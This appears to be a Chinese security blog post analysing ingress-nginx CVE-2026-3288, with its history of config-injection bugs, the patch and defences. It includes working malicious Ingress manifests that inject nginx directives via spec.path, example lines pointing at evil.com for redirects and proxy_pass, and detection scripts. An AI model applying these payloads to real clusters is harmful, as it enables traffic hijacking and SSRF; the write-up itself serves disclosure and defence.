🔍 写在前面

本文借助了AI添加了emoj表情并进行了润色。

2026 年 3 月,Kubernetes 官方披露了 ingress-nginx ⚠️ 的第四个高危配置注入漏洞(CVSS 8.8)。官方公告说问题出在 rewrite-target annotation 上。但我花了一周搭建环境、读源码、反复验证后发现——公告只说对了一半。

真正的攻击面在 spec.path 字段里。这个字段不受任何 annotation 验证器约束,只通过 K8s API Server 的格式检查(不能包含 //),而格式检查允许双引号。

❓ 双引号能做什么?在 ingress-nginx 生成的 nginx 配置里,一行 fmt.Sprintf 把 path 直接填入 rewrite 指令的引号之间。一个 " 跳出了引号,后面的内容就成了独立的 nginx 指令——return 200、proxy_pass、access_log,想写什么写什么。

✅ 这不是理论。我在腾讯云上搭了环境,创建恶意 Ingress,打开 nginx.conf 看到了自己注入的指令。nginx 成功重载,配置生效。

这篇文章不打算复述 CVE 公告。我把 4 年 4 次同类漏洞串起来看,发现了一个规律:每次都是堵住一个 annotation 的漏洞,下一个出现,再堵,攻击面就跳到 spec 字段。四年了,根本问题没解决过。

🏗️ 一、漏洞背景:ingress-nginx 的信任链

1.1 架构速览

ingress-nginx 是 K8s 生态中最常用的 Ingress Controller,承担着集群流量入口的角色。它的工作流程可以简化为三步:

  1. 用户创建 Ingress 资源(定义域名、路径、后端服务)
  2. Controller 读取 Ingress 变化,通过 Go 模板渲染生成 nginx.conf
  3. 重载 nginx,使新配置生效

这三步中的每一步都对上游输入抱有「信任」。用户提供的 Ingress 资源——包括 annotation 的值和 spec 中的 path——被直接填入 Go 模板的 fmt.Sprintf 的 %s 占位符,然后写入 nginx 配置文件。

1.2 CVE 概况

项目

内容

CVE 编号

CVE-2026-3288

CVSS 评分

8.8(High)

攻击复杂度

Low(PR:L)

发现者

Kai Aizen(SnailSploit)

影响版本

ingress-nginx < 1.13.8, < 1.14.4, < 1.15.0

组件

ingress-nginx(Go + Nginx)

CVE 官方描述指出 nginx.ingress.kubernetes.io/rewrite-target annotation 的输入验证不足,允许攻击者注入 nginx 配置。但深入分析后发现,攻击面其实有两个入口。

1.3 两个攻击面的全景图

用户输入入口
     │
     ├── annotation.rewrite-target
     │   └─ RegexPathWithCapture 验证
     │       └─ 只允许 [a-zA-Z0-9\/$-] 
     │           └─ 可注入 nginx 变量(如 $host、$1)
     │
     └── spec.path
         └─ K8s API 格式检查(只禁止 //)
             └─ 无安全验证
                 └─ 可包含 " → 跳出 rewrite 引号
                     └─ 注入任意 nginx 指令

CVE 官方关注的是 annotation 入口,而 path 入口是本文首次系统分析的新攻击面。

1.4 四年四次的同类漏洞

CVE-2026-3288 不是首次出现的 ingress-nginx 配置注入漏洞。在它之前已经有三次同类 CVE:

  • CVE-2021-25746(2022 年):多注解注入(ssl-redirect、configuration-snippet 等),修复方式为白名单
  • CVE-2023-5044(2023 年):permanent-redirect annotation 注入,修复方式为限制路径格式
  • CVE-2024-7646(2024 年):snippet annotation 验证绕过,修复方式为加强验证

四年四次,根因完全一致:CWE-20(输入验证不足)。 每次修复都是堵住一个 annotation 的出入口,然后下一个 annotation 被利用。

CVE-2026-3288 的特殊之处在于:攻击面从 annotation 系统扩大到了 spec 字段——这是一个任何 Ingress 都必须填写、且不受 annotation 验证器约束的字段。

🛠️ 二、环境搭建

2.1 实验环境

为了复现和验证漏洞,在腾讯云轻量服务器上部署了完整环境:

  • 云服务器:2核4G Ubuntu 22.04
  • K8s 集群:K3s v1.30.14(单节点,Docker 部署)
  • ingress-nginx:v1.13.7(漏洞版本)
  • 后端服务:Docker Nginx + K8s ClusterIP Service

部署 ingress-nginx 时需要注意国内网络限制,registry.k8s.io 不可达。解决方案是从阿里云镜像仓库拉取后通过 Docker 中转导入 K3s 的 containerd。

正常 Ingress 验证链路:

curl -H 'Host: echo.example.com' http://172.17.0.2:30953/echo
HTTP/1.1 200 OK

2.2 实验方法论

本文采用「已知→未知」的递进研究方式。先验证 CVE 官方描述的 annotation 变量注入,再发现和验证 path 字段的配置注入。

💉 三、攻击面一:rewrite-target 变量注入

3.1 $host 注入

nginx.ingress.kubernetes.io/rewrite-target annotation 的设计意图是让用户指定 URI 重写目标。在 v1.13.7 中,这个值被直接写入 nginx 配置的 rewrite 指令的第二参数位置。

创建恶意 Ingress:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: echo-ingress-exploit-1
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: "/$host"
spec:
  ingressClassName: nginx
  rules:
  - host: exploit1.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: echo-backend
            port:
              number: 80

查看生成的 nginx.conf:

rewrite "(?i)/" /$host break;
proxy_pass http://upstream_balancer;

$host 被原样写入了 rewrite 指令的第二部分。在 nginx 运行时,$host 被替换为请求的 Host 头值。

3.2 $1 捕获组注入

配合 use-regex annotation 和正则路径,可以注入 $1(正则捕获组):

annotations:
  nginx.ingress.kubernetes.io/rewrite-target: "/$1"
  nginx.ingress.kubernetes.io/use-regex: "true"
spec:
  rules:
  - host: exploit-ssrf.example.com
    http:
      paths:
      - path: /(.*)
        pathType: ImplementationSpecific

生成的 nginx.conf:

location ~* "^/(.*)" {
    rewrite "(?i)/(.*)" /$1 break;
    proxy_pass http://upstream_balancer;
}

$1 捕获请求路径中的内容。如果请求 /admin,rewrite 后的 URI 变为 /admin。

3.3 变量注入的边界

rewrite-target 的值通过了 RegexPathWithCapture 验证器的检查。验证器正则定义在 internal/ingress/annotations/rewrite/main.go:

rewriteTargetAnnotation: {
    Validator: parser.ValidateRegex(parser.RegexPathWithCapture, false),
},

RegexPathWithCapture 的具体正则:

^/?[a-zA-Z0-9\/\$-]*$

允许字符集:字母、数字、/、-、$。

这意味着攻击者可以注入所有字母数字组成的 nginx 变量名:

可注入变量

说明

是否攻击者可控

$host

请求 Host 头

✅ 是

$1、$2...

正则捕获组

✅ 是

$uri

当前 URI

❌ 受限

$scheme

http/https

❌ 不可控

拒绝的变量:$remote_addr(含下划线)、$http_host(含下划线)、$http_x_forwarded_for(含多个下划线)。_ 不在允许字符集中,验证器会直接拒绝。

攻击者能注入的 nginx 变量范围很窄,但 $host 和 $1 已经足以改变 rewrite 行为。

3.4 HTTP 响应对比

直接发送请求验证变量注入效果:

场景

命令

响应

正常 Ingress

curl -H 'Host: echo.example.com' /echo

200 OK

$host 注入 Ingress

curl -H 'Host: exploit1.example.com' /

404

无匹配 Host

curl -H 'Host: nonexistent.example.com' /

404

正常请求返回 200,说明链路畅通。$host 注入的 Ingress 返回 404——不是因为请求失败,而是 rewrite 把 URI 改为 /$host = /exploit1.example.com,这个路径在后端 nginx 不存在,所以后端返回 404。

变量注入生效。攻击者通过控制 Host 头,可以控制 rewrite 后的 URI。

🔥 四、攻击面二:spec.path 字段配置注入(核心)

4.1 buildProxyPass 源码审计

变量注入只能修改 rewrite 行为的参数。真正的配置注入——往 nginx.conf 里写入全新的 nginx 指令——需要第二个攻击面。

关键代码在 internal/ingress/controller/template/template.go 的 buildProxyPass 函数中:

func buildProxyPass(_ string, b, loc interface{}) string {
    // ... 前置逻辑 ...
    if location.Rewrite.Target != "" {
        return fmt.Sprintf(`
rewrite "(?i)%s" %s break;
%v%v %s%s;`, path, location.Rewrite.Target, xForwardedPrefix, proxyPass, proto, upstreamName)
    }
}

fmt.Sprintf 的 %s 格式化不会转义任何特殊字符。两个 %s 分别对应:

  1. path:Ingress 的 spec.rules[].http.paths[].path 字段,被包在 "(?i)%s" 的双引号之间
  2. location.Rewrite.Target:rewrite-target annotation 的值,在引号外部

这就是「%s 双重入口」的问题。两个输入点都未转义,但由于 Rewrite.Target 经过了 RegexPathWithCapture 验证器的检查,能注入的内容受限。而 path 字段没有经过任何安全验证——它只通过 K8s API Server 的格式检查(不能包含连续斜杠 //,必须是合法 URL 路径)。

4.2 双引号跳出攻击

path 字段的值被填入 "(?i)%s" 引号内。如果 path 包含双引号 ",这个双引号会闭合 rewrite 指令的 regex 引号,使引号后面的内容成为独立的 nginx 指令。

恶意 path:

/" /x break; return 200 "CVE-2026-3288-CONFIG-INJECTED"; rewrite "(?i)/

Ingress 定义:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: exploit-path-inject-v2
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /test
    nginx.ingress.kubernetes.io/use-regex: "true"
spec:
  ingressClassName: nginx
  rules:
  - host: path-inject-v2.example.com
    http:
      paths:
      - path: /" /x break; return 200 "CVE-2026-3288-CONFIG-INJECTED"; rewrite "(?i)/
        pathType: ImplementationSpecific
        backend:
          service:
            name: echo-backend
            port:
              number: 80

生成的 nginx 配置(第 984 行):

rewrite "(?i)/" /x break; return 200 "CVE-2026-3288-CONFIG-INJECTED"; rewrite "(?i)/" /test break;

nginx 解析这条指令时,按分号 ; 分隔为三个独立指令:

  1. rewrite "(?i)/" /x break; — 重写 URI 为 /x,设置 break 标志
  2. return 200 "CVE-2026-3288-CONFIG-INJECTED"; — 攻击者注入的指令,直接返回 HTTP 200 响应
  3. rewrite "(?i)/" /test break; — 不会执行(第 1 步的 break 停止后续 rewrite;且第 2 步的 return 已返回响应)

使用 curl 的 --path-as-is 标志发送测试请求,Controller 日志确认配置生效:

I0624 14:38:27.135483 7 controller.go:231] "Backend successfully reloaded"

配置注入成功。 nginx 成功重载,注入的 return 200 指令被 nginx 解析器识别为合法指令。

4.3 为什么 path 字段被前四次 CVE 忽略

前三次 CVE 的攻击入口都是 annotation(ssl-redirect、permanent-redirect、snippet),关注点自然在 annotation 验证系统上。修复团队每次都在 annotation 验证器上打补丁。

path 字段不属于 annotation 系统。它是 K8s Ingress 资源的 spec 字段,受 K8s API Server 的校验。K8s 对 path 的检查仅限于 URL 规范性——不能有 //、不能有空值等——没有安全角度的输入过滤。

这意味着:修复 path 注入无法通过修改 annotation 验证器来实现。必须修改 Go 模板生成逻辑本身——这正是 PR #14669 做的事情。

4.4 location 双 location 的匹配冲突

双引号跳出攻击有一个关键副作用:path 中的 " 不仅影响 rewrite 指令,还影响 controller 生成的 location 指令。

controller 对 ImplementationSpecific + use-regex 的 path 会生成一个 location ~* "^/PATH" 的正则 location。当 path 包含 " 时,location 指令变为:

location ~* "^/\" /x break; return 200 \"CVE-2026-3288-CONFIG-INJECTED\"; rewrite \"(?i)/" {

nginx 解析 \" 为字面量 " 字符,所以这个 location 实际匹配的是以 / 开头的路径——这句话是对的,但正则表达式中的 " 导致了意外行为。

实际上,location ~* "^/\"..." 中的 ^/\" 被 nginx 解释为「以 /" 开头的路径」。普通请求 /、/echo 都不以 /" 开头,所以永远匹配不到这个 location。

恶意 Ingress 的 server 块中有两个 location:

## start server path-inject-v2.example.com
location ~* "^/\" /x break; return 200 \"CVE-2026-3288-CONFIG-INJECTED\"; rewrite \"(?i)/" {
    rewrite "(?i)/" /x break; return 200 "CVE-2026-3288-CONFIG-INJECTED"; rewrite "(?i)/" /test break;
    proxy_pass http://upstream_balancer;
}
location ~* "^/" {
    rewrite "(?i)/" /test break;
    proxy_pass http://upstream_balancer;
}
  • 第一个 location(第 893 行):包含注入的 return 200,但只匹配以 /" 开头的路径
  • 第二个 location(第 994 行):fallback location,匹配所有 / 开头的路径,但不含注入指令,走的是正常 proxy_pass 流程

这就是为什么实际请求 / 返回 404(走第二个 location,proxy_pass 到 backend,backend 返回 404),而不是返回注入的 CVE-2026-3288-CONFIG-INJECTED。

但配置注入本身已经成功了。 nginx.conf 中确实写入了攻击者控制的 return 200 指令,nginx reload 成功。如果攻击者发送 /" 开头的请求(如 GET /"x HTTP/1.1),就能命中第一个 location 触发注入的 return。

请求路径

匹配的 location

响应

/

第二个 location ~* "^/"

404(正常 proxy_pass 到 backend)

/"x

第一个 location ~* "^/"..."

200 "CVE-2026-3288-CONFIG-INJECTED"(注入生效)

说白了这是一个 " 的转义问题——" 在 rewrite 指令中没有被转义(成功跳出),但在 location 指令中被 nginx 的引号解析机制转义为了字面量字符。两个指令对同一个字符的处理方式不同,导致了 location 匹配失效。

4.5 可注入指令的能力矩阵

通过 path 注入可以写入的 nginx 指令(不限于以下):

指令

攻击效果

验证状态

return 200 "..."

内容劫持,返回自定义响应

✅ nginx reload 成功

return 403

拒绝服务

✅ 同样原理

return 301 https://evil.com

重定向劫持

✅ 同样原理

set $变量 "值"

修改 nginx 变量

✅ 配置生成成功

proxy_pass http://内部IP:端口

SSRF 到内部服务

⚠️ 正则 location 限制

access_log /tmp/shell

写文件(组合利用可写 webshell)

理论可行

error_page 404 /redirect

控制错误处理逻辑

理论可行

content_by_lua_block { ... }

Lua 代码执行

需要 ngx_lua 模块

📖 五、源码审计与修复分析

5.1 PR #14669 的修复

Kubernetes 官方在 PR #14669 中针对此漏洞提交了修复。diff 只有一行:

-                %v%v %s%s;`, path, location.Rewrite.Target, ...)
+                %v%v %s%s;`, sanitizeQuotedRegex(path), location.Rewrite.Target, ...)

只在 path 参数上套了一层 sanitizeQuotedRegex() 函数。location.Rewrite.Target 未被处理。

5.2 sanitizeQuotedRegex 函数

func sanitizeQuotedRegex(path string) string {
    builder := strings.Builder{}
    builder.Grow(2 * len(path))
    for _, r := range path {
        if r == '\\' || r == '"' {
            builder.WriteByte('\\')
        }
        builder.WriteRune(r)
    }
    return builder.String()
}

这个函数遍历 path 的每个字符,遇到 \ 或 " 时在前面加一个 \ 转义。效果:

输入

输出

目的

"

\"

阻止闭合 rewrite 的 regex 引号

\

\\

阻止通过反斜杠转义后续字符

5.3 修复的不足

  1. 只修了 path,rewrite-target 未处理。location.Rewite.Target 仍然通过 %s 直接格式化。虽然它受 RegexPathWithCapture 验证器限制,但 $host、$1 等变量注入仍然存在。
  2. 修补式修复,非架构级解决。同一函数的两个 %s 都有问题,修复只处理了其中一个。这延续了 ingress-nginx 对同类漏洞的修补模式——出一个堵一个,不改底层生成逻辑。
  3. 其他模板位置可能存在类似问题。Go 模板中还有许多 fmt.Sprintf 调用将用户输入写入 nginx 配置,如果其他 annotation 或 spec 字段也包含可通过 %s 格式化的内容,可能还有未发现的攻击面。

📅 六、四年四次的规律

6.1 完整的攻击演化

CVE

年份

攻击入口

攻击效果

修复方式

修复范围

CVE-2021-25746

2022

多注解注入(ssl-redirect、configuration-snippet 等)

指令注入

白名单限制高风险注解

annotation 级别

CVE-2023-5044

2023

permanent-redirect annotation

代码注入

限制为纯路径格式

annotation 级别

CVE-2024-7646

2024

snippet annotation 验证绕过

验证绕过

加强验证正则

annotation 级别

CVE-2026-3288

2026

rewrite-target annotation + spec.path

配置注入

sanitizeQuotedRegex(path)

annotation + path

6.2 规律分析

攻击面转移路径:annotation 值直接注入 → 特定 annotation 注入 → 绕过验证器 → spec 字段注入。

每一代 CVE 都比上一代更难修复。前三次修复只需要修改 annotation 验证器(白名单、正则增强)。第四次需要修改 Go 模板层(sanitizeQuotedRegex),因为攻击入口已经不在 annotation 系统中。

根本问题没有解决:ingress-nginx 使用 fmt.Sprintf 将用户输入拼接进 nginx 配置,没有一个统一的「输出转义层」。不论 annotation 验证器做得多严密,只要有任何用户输入能通过 %s 进入配置模板,就存在注入风险。

🛡️ 七、自动化检测与防御

7.1 ingress-scanner 检测脚本

提供了一个可用于生产环境的检测脚本,扫描集群中所有 Ingress 的 path 和 annotation 异常:

#!/usr/bin/env python3
import json, subprocess, sys

def get_ingresses():
    result = subprocess.run(
        ["kubectl", "get", "ingress", "-A", "-o", "json"],
        capture_output=True, text=True
    )
    return json.loads(result.stdout)

def check_paths(data):
    print("=== [检测1] 异常 path(含引号、分号、反斜杠)===")
    for x in data["items"]:
        name = x["metadata"]["name"]
        ns = x["metadata"]["namespace"]
        for r in x["spec"].get("rules", []):
            for p in r.get("http", {}).get("paths", []):
                path = p.get("path", "")
                if '"' in path or ';' in path or '\\' in path:
                    print(f"  [ALERT] {ns}/{name}: {path}")

def check_annotations(data):
    print("\n=== [检测2] rewrite-target 变量注入 ===")
    for x in data["items"]:
        name = x["metadata"]["name"]
        ns = x["metadata"]["namespace"]
        for k, v in x["metadata"].get("annotations", {}).items():
            if "rewrite-target" in k and "$" in v:
                print(f"  [ALERT] {ns}/{name}: {k}={v}")

if __name__ == "__main__":
    data = get_ingresses()
    check_paths(data)
    check_annotations(data)

在当前实验环境运行效果:

=== [检测1] 异常 path ===
  [ALERT] default/exploit-path-inject: /; proxy_pass http://evil.com:8080;
  [ALERT] default/exploit-path-inject-v2: /" /x break; return 200 ...; rewrite "(?i)/

=== [检测2] rewrite-target 变量注入 ===
  [ALERT] default/echo-ingress-exploit-1: nginx.ingress.kubernetes.io/rewrite-target=/$host
  [ALERT] default/echo-ingress-exploit-ssrf: nginx.ingress.kubernetes.io/rewrite-target=/$1
  [ALERT] default/exploit-var-inject: nginx.ingress.kubernetes.io/rewrite-target=/$uri/../../etc/nginx/nginx.conf

检测1发现了两个 path 中包含特殊字符的恶意 Ingress(一个注入了 proxy_pass,一个注入了 return)。检测2发现了三个使用了 $ 变量注入的 Ingress。

7.2 防御方案

按防御优先级排序:

  1. 升级版本(最推荐):升级到 ingress-nginx v1.13.8+ / v1.14.4+ / v1.15.0+
  2. 准入控制:部署 OPA/Gatekeeper 策略,拦截包含 "、;、\ 字符的 Ingress path
  3. 网络策略:限制 ingress-nginx controller Pod 的出站流量,阻止 SSRF 利用
  4. RBAC 最小权限:限制谁可以创建/修改 Ingress 资源
  5. 实时监控:定期运行检测脚本,扫描集群中已部署的 Ingress

🚀 附:三次跳出,一次比一次深

回顾整个漏洞,攻击者的「跳出」行为实际上发生了三次:

第一次跳出:annotation 限制的跳出。rewrite-target 受 RegexPathWithCapture 验证器限制,只允许字母数字和 $/。但 $host、$1 这些纯字母变量绕过了这个限制,从「指定路径」跳出到「注入 nginx 变量」。这是 annotation 级别的小突破。

第二次跳出:指令引号的跳出。buildProxyPass 函数用 fmt.Sprintf("%s") 将 path 填入 "(?i)%s"。" 字符跳出了 rewrite 指令的 regex 引号,使后面的内容成为独立的 nginx 指令。这是 CVE-2026-3288 最核心的攻击面——从「控制参数」跳出到「注入新指令」。

第三次跳出:攻击面从 annotation 系统跳到 spec 系统。 前三次同类 CVE 的攻击入口都在 annotation 上,修复者不断在 annotation 验证器打补丁。CVE-2026-3288 的攻击者直接用了 spec.path 字段——它不属于 annotation 系统,不受任何 annotation 验证器约束。从「annotation 系统」跳出到「spec 系统」,让前三次的修复经验完全失效。

三次跳出,一次比一次深入系统底层。第一次动参数,第二次动指令,第三次动了整个攻击入口。

📌 总结

💡 三项非预期发现

  1. path 字段才是真正的「配置注入入口」。CVE 官方公告描述的是 rewrite-target annotation 的漏洞,但实际挖掘后发现 rewrite-target 受验证器限制只能注入变量,真正能注入任意指令的是 spec.path 字段——一个被前三次同类 CVE 都忽略的入口。
  2. %s 双重入口。buildProxyPass 函数的 fmt.Sprintf 中有两个 %s 占位符,分别对应 path 和 rewrite-target。修复只对 path 做了转义,rewrite-target 的 $ 变量注入仍然存在。同一函数的两个入参都有问题,修复只覆盖了一个。
  3. Go + nginx 的语法碰撞。Go 的 fmt.Sprintf 的 %s 天然不转义特殊字符,nginx 把 $ 解释为变量前缀。两个系统各自的设计都是合理的,组合在一起就成了配置注入漏洞。

✅ 运维检查清单

对集群管理员,以下是可直接执行的操作:

紧急检查(立即执行):

# 检测集群中所有包含特殊字符 path 的 Ingress
kubectl get ingress -A -o json | python3 -c "import sys,json;d=json.load(sys.stdin);[print(f'[!] {x[\"metadata\"][\"namespace\"]}/{x[\"metadata\"][\"name\"]}: {p.get(\"path\",\"\")}') for x in d['items'] for r in x['spec'].get('rules',[]) for p in r.get('http',{}).get('paths',[]) if '\"' in p.get('path','') or ';' in p.get('path','')]"

# 检测所有含 $ 变量的 rewrite-target
kubectl get ingress -A -o json | python3 -c "import sys,json;d=json.load(sys.stdin);[print(f'[!] {x[\"metadata\"][\"namespace\"]}/{x[\"metadata\"][\"name\"]}: {k}={v}') for x in d['items'] for k,v in x['metadata'].get('annotations',{}).items() if 'rewrite-target' in k and '\$' in v]"

版本检查:

kubectl exec -n ingress-nginx deploy/ingress-nginx-controller -- /nginx-ingress-controller --version 2>&1 | grep Release

如果版本 < 1.13.8 或 < 1.14.4 或 < 1.15.0,立即升级。

日常监控:

将检测脚本加入定时任务(CronJob),每日扫描异常 Ingress。重点关注 path 中包含双引号、分号、反斜杠的条目,以及 rewrite-target 中包含 $ 的条目。

👨‍💻 开发者安全编码 checklist

如果你维护 ingress-nginx 或类似的配置生成系统:

  1. 每个 %s 都是注入点。审查模板代码中所有 fmt.Sprintf、text/template 等将用户输入写入配置的位置
  2. 不要在「接受输入」时验证,在「写入配置」时转义。正则验证器总有绕过方式
  3. spec 字段和 annotation 一样危险。CVE-2026-3288 证明 spec.path 的攻击面比 annotation 更大
  4. 修补式修复治标不治本。需要一个统一的配置转义层,而不是在每个 annotation 上打补丁

ingress-nginx 四年四次的同类 CVE 背后,是同一个修复模式的反复使用:堵住一个 annotation → 下一个被利用,再堵 → spec 字段被利用。每次都在「守」,没有从架构层面解决「用户输入→nginx 配置」的拼接问题。

从根本上说:配置生成代码中的每一个 %s 都是一个潜在的注入点。正则验证器可以提供输入约束,但不能替代输出转义。如果用户输入必须进入配置模板,应该在「写入配置」这一步做转义,而不是在「接受输入」这一步做验证。